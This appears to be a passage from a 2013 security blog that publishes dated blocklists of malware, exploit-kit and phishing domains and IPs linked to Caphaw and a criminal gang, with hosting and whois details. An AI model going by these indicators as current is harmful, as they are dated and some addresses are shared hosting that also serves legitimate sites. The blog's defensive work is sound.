lil-web-svcs.su
limited-hsbc.com
llc-services.su
low-rates.su
lrnm.su
main2woo.su
nitecapvideo.net
nmbc.cc
nomorefees.cc
ognelisblog.net
online-verification.su
oprn.su
ormu.su
peguards.cc
pmr.cc
protected-onlinebanking.net
sj148-storage.net
standartextens.net
stat-service.net
sys-img-stores.cc
sysinfo.su
uceebeel.cc
up-stores.cc
veeceefi.cc
visite-mexico.net
webstats.su
wgate.su
wgate.su
wownthing.cc
wsysinfonet.su
zprn.su

Recommend IP blocklist (nameservers are in italics):

5.175.173.219
5.231.66.192
23.90.28.12
46.4.47.0/27
88.198.57.178
88.200.98.137
91.186.19.48
92.48.122.132
108.170.54.251
109.200.4.114
109.123.127.228
141.8.225.5
151.236.49.136
153.153.19.23
181.41.193.168
184.22.246.31
184.82.62.95
188.227.161.26
198.52.243.229
199.68.199.178
213.229.90.199
1.165.101.158
6.79.15.154
31.83.89.143
62.75.232.182
78.188.5.201
85.25.152.130
87.98.136.239
91.121.199.45
95.143.32.212
188.138.10.29
188.138.10.30
188.138.78.229
188.138.78.232
188.138.78.248
196.44.161.31
198.52.240.8
217.172.187.9

Malware sites to block 14/11/2013 (Caphaw)

These domains and IPs appear to be involved in a Caphaw malware attack, such as this one. All the IPs involved belong to Hetzner in Germany, and although some also host legitimate sites I would strongly recommend blocking them.

Recommended blocklist:
141.8.225.5
46.4.47.20
46.4.47.22
88.198.57.178
astats.su
blinking-imgs.su
careservice.su
collectserv.su
digital-in-one.cc
dig-services.at
eguards.cc
estatus.cc
fooyuo.cc
giuchito.cc
higuards.su
iestat.cc
inetprotections.cc
iostat.su
istat.cc
iwebstats.cc
iwebstats.su
klr.su
lbb.su
limited-hsbc.com
llc-services.su
nomorefees.cc
online-verification.su
peguards.cc
protected-onlinebanking.net
sj148-storage.net
standartextens.net
stat-service.net
sys-img-stores.cc
sysinfo.su
up-stores.cc
veeceefi.cc
webstats.su
wgate.su

Malware sites to block 25/10/2013

This list replaces this one, and mostly contains domains and IPs connected with this gang. The list starts with IPs and web hosts, followed by plain IPs and domains for copy-and-pasting.

5.175.171.89 (GHOSTnet, Germany)
5.231.40.197 (GHOSTnet, Germany)
5.231.47.92 (GHOSTnet, Germany)
31.210.112.28 (Veri Merkezi Hizmetleri, Turkey)
42.121.84.12 (Aliyun Computing Co, China)
60.199.253.165 (Taiwan Fixed Network Co, Taiwan)
63.251.135.19 (Internap, US)
78.100.140.171 (Qatar Telecom, Qatar)
81.91.159.212 (Datak Internet Engineering, Iran)
103.28.255.207 (Ani Network Pvt Ltd, India)
112.124.27.158 (Alibaba Advertising Co, China)
146.185.147.26 (Digital Ocean, Netherlands)
161.24.16.127 (Centro Tecnico Aeroespacial, Brazil)
181.41.200.191 (Host1plus Brazil, Brazil)
186.3.101.235 (Clientes Quito, Ecuador)
186.151.240.197 (Municipalidad De Zaragoza, Guatemala)
186.251.180.205 (Infotech Informatica e Assistencia Tecnica Ltda, Brazil)
189.1.169.28 (Maxihost Hospedagem de Sites Ltda, Brazil)
196.40.9.113 (Terminales Santamaria, Costa Rica)
211.71.99.66 (Beijing Institute of Clothing Technology, China)
223.30.27.251 (Sify Limited, India)

5.175.171.89
5.231.40.197
5.231.47.92
31.210.112.28
42.121.84.12
60.199.253.165
63.251.135.19
78.100.140.171
81.91.159.212
103.28.255.207
112.124.27.158
146.185.147.26
161.24.16.127
181.41.200.191
186.3.101.235
186.151.240.197
186.251.180.205
189.1.169.28
196.40.9.113
211.71.99.66
223.30.27.251
acondorwoonkary120.com
avasdayspa.net
blackbox-e.net
bonds.su
carefordying.net
carrykeyboard.net
ceravdilicheskinevoz76.net
consumersshow.net
cormushkaneplohatak300.com
cronshtainymorenah55.net
derivatiexchange.com
dotier.net
dropdistri-butions.net
dulethcentury.net
ermeentroper110.com
ermirovaniedoom153.com
ermirovanievood152.com
ermxxrtroper210.com
eventlogselfn.net
excelledblast.net
foi.su
gormonnsnter105.net
gromydoonye250.com
groove.su
gumatexx.net
hdmltextvoice.net
idersnonvirus.com
introlinkage.com
introlinkage.su
jurassic-spa.net
kotzebuepolice.net
leedsprobate.net
lyvegetarians.net
mesmultimedia.com
milkdriver.com
mymulejams.net
nacase.net
ny-headsets.org
ordersdeluxe.com
pro-senioren.net
rojecttalkway.com
sandlord.com
stabilitymess.net
thetokion.com
uprisingquicks.net
zigbeejournal.net

6rf.net and something evil on 198.50.225.121, 85.25.108.10 and 178.33.208.211

Here are a couple of IPs serving exploit kits.. the case in question is a legitimate site that loads code from 6rf.net and this in turn loads an exploit kit from [donotclick]yandex.ru.sgtfnregsnet.ru and [donotclick]l451l.witnessvacant.biz.

The .biz domain in this case is hosted on 198.50.225.121 (OVH, Canada) along with subdomains of the following (more here):

witnessvacant.biz
objectiongigs.biz
prosecutorpro.biz

That IP hosts various exploit kits and is suballocated to a Russian customer:

CustName:       Private Customer
Address:        Private Residence
City:           Penziatki
StateProv:    
PostalCode:     430000
Country:        RU
RegDate:        2013-08-12
Updated:        2013-08-12
Ref:            http://whois.arin.net/rest/customer/C04667583

Those domains are also associated with some other OVH IPs of 178.33.208.211 and 46.105.166.99 (OVH, France). In both those cases, the OVH range is delegated to another Russian customer:
 organisation:   ORG-RL152-RIPE
org-name:       R5X.org ltd
org-type:       OTHER
address:        Krasnoselskaja 15-219
address:        346579 Moscow
address:        RU
abuse-mailbox:  abuse@r5x.org
mnt-ref:        OVH-MNT
mnt-by:         OVH-MNT
source:         RIPE # Filtered

Domains associated with the OVH France servers (and I would recommend blocking these) are:
caseagency.biz
chqqwyotlook.biz
cqcodoyogold.biz
flogdoyfohoqobl.biz
gyfowkdoylgoqc.biz
hearsayavailable.biz
jailprojects.biz
liablegigs.biz
lqcolqbtthdoydozzl.biz
objectiongigs.biz
objectionjobs.biz
othtdoyttqd.biz
ottptqc.biz
ottylook.biz
prosecutorpro.biz
qdpqdqcdoyplqdd.biz
subpoenaproject.biz
testimonyjobs.biz
thoqkgvqqgchot.biz
tohhohoqohwoy.biz
vqolqtqdoyodl.biz
witnessvacant.biz

But that's not the only infection that 6rf.net is punting, as there is another malicious domain of [donotclick]yandex.ru.sgtfnregsnet.ru in use (report here) hosted on 85.25.108.10 (Intergenia AG, Germany). There appears to be at least one other malicious domain on the same server (googlebot.ru) which is also serving up an exploit kit [1] [2] and an examination of the rest of the domains on that IP show nothing at all of value:

yandex.ru.sgtfnregsnet.ru
googlerobot.ru
google.directadvertstat.ru
nationalaustralia.org

It looks like other malware sites have been hosted on that IP in the past, so I would recommend blocking that too, giving this recommended blocklist:
46.105.166.99
85.25.108.10
178.33.208.211
198.50.225.121
6rf.net
caseagency.biz
chqqwyotlook.biz
cqcodoyogold.biz
flogdoyfohoqobl.biz
gyfowkdoylgoqc.biz
hearsayavailable.biz
jailprojects.biz
liablegigs.biz
lqcolqbtthdoydozzl.biz
objectiongigs.biz
objectionjobs.biz
othtdoyttqd.biz
ottptqc.biz
ottylook.biz
prosecutorpro.biz
qdpqdqcdoyplqdd.biz
subpoenaproject.biz
testimonyjobs.biz
thoqkgvqqgchot.biz
tohhohoqohwoy.biz
vqolqtqdoyodl.biz
witnessvacant.biz
yandex.ru.sgtfnregsnet.ru
googlerobot.ru
google.directadvertstat.ru
nationalaustralia.org

Malware sites to block 24/9/2013

The malicious IPs and domains on this list are operated by this gang, and it replaces the list last week.

5.135.42.104 (OVH, Netherlands)
24.111.103.183 (Midcontinent Media, US)
24.173.170.230 (Time Warner Cable, US)
32.64.143.79 (AT&T, US)
37.153.192.72 (Routit BV, Netherlands)
37.221.163.174 (Voxility SRL, Romania)
42.121.84.12 (Aliyun Computing Co, China)
46.32.47.24 (Syd Energi, Denmark)
46.246.111.159 (Portlane Networks, Sweden)
58.68.228.148 (Beijing Blue I.T Technologies Co., China)
58.246.240.122 (China Unicom, China)
61.36.178.236 (LG DACOM, Korea)
62.141.46.8 (fast IT, Germany)
69.94.163.22 (Region 18 Education Service Center, US)
69.163.40.39 (DirectSpace LLC, US)
77.123.54.28 (Kyivski Telekomunikatsiyni Merezhi LLC, Ukraine)
79.190.173.125 (TPNET, Poland)
81.28.199.18 (KNET, France)
84.52.66.244 (West Call Ltd, Russia)
85.246.142.214 (PT Comunicacoes, Portugal)
91.220.77.83 (NTH Media, Switzerland)
95.111.32.249 (Megalan / Mobiltel EAD, Bulgaria)
103.20.166.67 (PT. Visikom Indo Sentratama, Indonesia)
109.71.136.140 (OpWan, France)
123.183.210.42 (China Telecom, China)
125.20.14.222 (Price Water House Cooperation, India)
153.127.243.80 (Kagoya Japan Corporation, Japan)
163.32.78.2 (TANET, Taiwan)
174.142.186.89 (iWeb, Canada)
184.82.233.29 (Network Operations Center, US)
186.3.101.235 (Clientes Quito, Ecuador)
186.251.180.205 (Infotech Informatica e Assistencia Tecnica Ltda, Brazil)
187.60.172.18 (Linhares Serviços Online LTDA, Brazil)
194.44.93.219 (UARNet, Ukraine)
194.158.4.42 (Interoute Communications, France)
198.71.90.239 (Enzu Inc, US)
199.175.49.118 (VPS Cheap, US)
208.52.185.178 (BroadRiver Communication Corp, US)
208.115.114.69 (Wowrack, US)
211.71.99.66 (Beijing Institute of Clothing Technology, China)
216.218.208.55 (Hurricane Electric, US)
223.30.27.251 (Sify Limited, India)
220.68.231.30 (Hansei University, Korea)

5.135.42.104
24.111.103.183
24.173.170.230
32.64.143.79
37.153.192.72
37.221.163.174
42.121.84.12
46.32.47.24
46.246.111.159
58.68.228.148
58.246.240.122
61.36.178.236
62.141.46.8
69.94.163.22
69.163.40.39
77.123.54.28
79.190.173.125
81.28.199.18
84.52.66.244
85.246.142.214
91.220.77.83
95.111.32.249
103.20.166.67
109.71.136.140
123.183.210.42
125.20.14.222
153.127.243.80
163.32.78.2
174.142.186.89
184.82.233.29
186.3.101.235
186.251.180.205
187.60.172.18
194.44.93.219
194.158.4.42
198.71.90.239
199.175.49.118
208.52.185.178
208.115.114.69
211.71.99.66
216.218.208.55
223.30.27.251
220.68.231.30
24kstudio.net
achrezervations.com
acomboramboarmiab722.net
aconsturcioneoftherive677.net
acormushkivsenamizv992.net
airfare-ticketscheap.com
aristonmontecarlo.net
bnamecorni.com
bundle.su
cernanrigndnisne55.net
cerovskiprijatnomnebi25.net
certerianshndieony24.net
consistingsec.net
cremenatthemomenter56.net
crovvirnskieertater55.net
crovviyyyyyyuutater90.net
curse.su
deepsealinks.com
demuronline.net
diggingentert.com
dropdistri-butions.net
dulethcentury.net
ehtiebanishkeobprienrt25.net
ejanormalteene250.com
ejanormatoone240.com
elvisalive4ever.com
euteus.com
evreisorinejsopgmrjnet28.net
excelledblast.net
exeteenofthemid74.com
explorerlikem.com
fdic.gov.horse-mails.net
gigiandrose-sf.net
gjoonalitikeer310.com
gjoonanalitik300.com
glums.net
goodnoontoon11.net
gormonigraetnapovalahule26.net
grannyhair.ru
gromovierashodyna73.net
hdmltextvoice.net
higherpricedan.com
horse-mails.net
hotsuperfilms.com
infomashe.com
instotsvin.ru
isightbiowares.su
joyrideengend.net
kolopeto.net
lights-awake.net
loreddiverting.su
macache.net
maxichip.com
micnetwork100.com
mobile-unlocked.net
mssoft.in.net
multiachprocessor.com
myaxioms.com
nacha.org.smscente.net
nacha-ach-processor.com
namastelearning.net
nvufvwieg.com
oadims.net
ollerblogging.net
ordersdeluxe.com
outcastii.com
oversearadios.net
pardus-wiki.com
picturesoftdeath.com
pidrillospeeder.com
powerranger-toys.net
priceless.su
printingupplies.com
pure-botanical.net
smartsecureconnect.com
smscente.net
softwareup.pw
spottingculde.com
stjamesang.net
techno-arena.net
thefastor.com
timelessmusicstore.com
tonalfreeworld.net
tor-connect-secure.com
treesmustdownload.su
u-janusa.net
uprisingquicks.net
video-withtext.com
vip-proxy-to-tor.com
virginiarealtyonline.net
whosedigitize.net
wow-included.com
www.ejanormalteene250.com
www.fdic.gov.horse-mails.net
www.gjoonalitikeer310.com
www.nacha.org.demuronline.net
www.nacha.org.smscente.net

Malware sites to block 17/9/13

This set of malicious IPs and domains is associate with this gang, and the list replaces the last one published here.

24.173.170.230 (Time Warner Cable, US)
32.64.143.79 (AT&T, US)
37.153.192.72 (Routit BV, Netherlands)
42.121.84.12 (Aliyun Computing Co, China)
46.246.111.159 (Portlane Networks, Sweden)
58.68.228.148 (Beijing Blue I.T Technologies Co., China)
58.246.240.122 (China Unicom, China)
61.36.178.236 (LG DACOM, Korea)
62.141.46.8 (fast IT, Germany)
66.230.163.86 (Goykhman and Sons LLC, US)
66.230.190.249 (ISPrime, US)
77.123.54.28 (Kyivski Telekomunikatsiyni Merezhi LLC, Ukraine)
83.148.208.151 (Salon Seudun Puhelin Oy, Finland)
84.52.66.244 (West Call Ltd, Russia)
95.87.1.19 (Trakia Kabel, Bulgaria)
95.111.32.249 (Megalan / Mobiltel EAD, Bulgaria)
103.20.166.67 (PT. Visikom Indo Sentratama, Indonesia)
112.124.55.133 (Hangzhou Alibaba Advertising Co.,Ltd., China)
115.78.233.220 (Vietel Corporation, Vietnam)
115.160.146.142 (Wharf T&T Ltd, Hong Kong)
119.78.243.74 (CSTNET, China)
125.20.14.222 (Price Water House Cooperation, India)
141.20.102.73 (Humboldt-Universitaet zu Berlin, Germany)
153.127.243.80 (Kagoya Japan Corporation, Japan)
159.226.51.161 (CSTNET, China)
172.245.62.181 (Colocrossing, US)
173.230.130.69 (Linode, US)
174.142.186.89 (iWeb Technologies, Canada)
178.33.132.103 (OVH, France)
178.239.180.211 (Enter S.r.l., Italy)
184.82.233.29 (Network Operations Center, US)
185.19.95.170 (TTNETDC, Turkey)
186.251.180.205 (Infotech Informatica e Assistencia Tecnica Ltda, Brazil)
187.60.172.18 (Linhares Serviços Online LTDA, Brazil)
192.210.198.198 (Valley Host, US)
192.237.186.71 (Rackspace, US)
194.158.4.42 (Interoute Communications, France)
198.71.90.239 (Enzu Inc, US)
208.52.185.178 (BroadRiver Communication Corp, US)
208.180.134.20 (Suddenlink Communications, US)
211.71.99.66 (Beijing Institute of Clothing Technology, China)
212.169.49.234 (Claranet, UK)
216.218.208.55 (Hurricane Electric, US)
220.68.231.30 (Hansei University, Korea)
223.30.27.251 (Sify Limited, India)

Blocklist:
24.173.170.230
32.64.143.79
37.153.192.72
42.121.84.12
46.246.111.159
58.68.228.148
58.246.240.122
61.36.178.236
62.141.46.8
66.230.163.86
66.230.190.249
77.123.54.28
83.148.208.151
84.52.66.244
95.87.1.19
95.111.32.249
103.20.166.67
112.124.55.133
115.78.233.220
115.160.146.142
119.78.243.74
125.20.14.222
141.20.102.73
153.127.243.80
159.226.51.161
172.245.62.181
173.230.130.69
174.142.186.89
178.33.132.103
178.239.180.211
184.82.233.29
185.19.95.170
186.251.180.205
187.60.172.18
192.210.198.198
192.237.186.71
194.158.4.42
198.71.90.239
208.52.185.178
208.180.134.20
211.71.99.66
212.169.49.234
216.218.208.55
220.68.231.30
223.30.27.251
achrezervations.com
aconsturcioneoftherive677.net
airfare-ticketscheap.com
aristonmontecarlo.net
berylhowell.net
bnamecorni.com
bundle.su
cernanrigndnisne55.net
cerovskiprijatnomnebi25.net
certerianshndieony24.net
clothestaxact.com
consistingsec.net
crovliivseoslniepodmore83.net
crovniedelamjdusaboye73.net
crovvirnskieertater55.net
deepsealinks.com
demuronline.net
diggingentert.com
dotier.net
dulethcentury.net
ehnihjrkenpj.ru
ehnynewyortenotbaber.net
ehtiebanishkeobprienrt25.net
elvisalive4ever.com
ermiarmirovanieyye46.net
ermitajnierisunkiane45.net
euteus.com
evreisorinejsopgmrjnet28.net
excelledblast.net
fiscdp.com.airfare-ticketscheap.com
gemochlenoftheierarhia23.net
germaniavampizdanahuj.net
germoshanyofthesity72.net
gormonigraetnapovalahule26.net
gormoshkeniation68.net
grannyhair.ru
gromovierashodyna73.net
gstarstats.ru
hdmltextvoice.net
higherpricedan.com
imagoindia.net
infomashe.com
irs.gov.successsaturday.net
isightbiowares.su
joyrideengend.net
kneeslapperz.net
lacave-enlignes.com
lights-awake.net
lindoliveryct.net
macache.net
maxichip.com
medusascream.net
micnetwork100.com
mirrorsupply.com
mobile-unlocked.net
multiachprocessor.com
myaxioms.com
nacha.org.samsung-galaxy-games.net
nacha-ach-processor.com
namastelearning.net
nvufvwieg.com
oadims.net
onsayoga.net
ordersdeluxe.com
oversearadios.net
perkindomname.com
picturesoftdeath.com
pidrillospeeder.com
powerranger-toys.net
priceless.su
printingupplies.com
pure-botanical.net
samsung-galaxy-games.net
smartolen.com
smartsecureconnect.com
softwareup.pw
spottingculde.com
stjamesang.net
successsaturday.net
taltondark.net
theamberroomct.com
timelessmusicstore.com
tonalfreeworld.net
tor-connect-secure.com
treesmustdownload.su
u-janusa.net
uprisingquicks.net
video-withtext.com
vineostat.ru
vip-proxy-to-tor.com
virginiarealtyonline.net
whosedigitize.net
wow-included.com
www.fiscdp.com.airfare-ticketscheap.com
www.irs.gov.successsaturday.net
www.nacha.org.demuronline.net
www.nacha.org.multiachprocessor.com
www.nacha.org.samsung-galaxy-games.net